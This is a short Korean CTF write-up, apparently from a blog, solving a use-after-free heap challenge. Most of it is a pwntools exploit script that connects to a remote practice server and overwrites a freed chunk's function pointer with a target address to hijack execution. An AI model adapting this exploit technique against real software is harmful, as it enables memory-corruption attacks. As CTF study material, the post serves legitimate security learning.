User After Free 문제이다~~
얼마전에 heap 공부하느라 hitcon training 을 풀어보았는데 문제가 약간 비슷한거같아서 쉽게 풀었다.
UAF 개념만 이해한다면 얼마든지 푸는게 가능하다. 힙 정리본 있는데 필요하신분 페메 해주시면 보내드리겠다~
https://www.lazenca.net/pages/viewpage.action?pageId=29327365
보고 공부해서 풀면된다.~~~
from pwn import *
#p = process("./uaf")
p = remote("ctf.j0n9hyun.xyz",3020)
#one_shot = 0x8048986
def add_note(size, content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)
def del_note(idx):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))
def print_note(idx):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))
one_shot = 0x8048986
add_note(24,"AAAA")
add_note(24,"BBBB")
del_note(0)
del_note(1)
add_note(8,p32(one_shot))
print_note(0)
log.info(p.recvline())
#p.interactive()
편하게 함수로 만들어서 풀었다~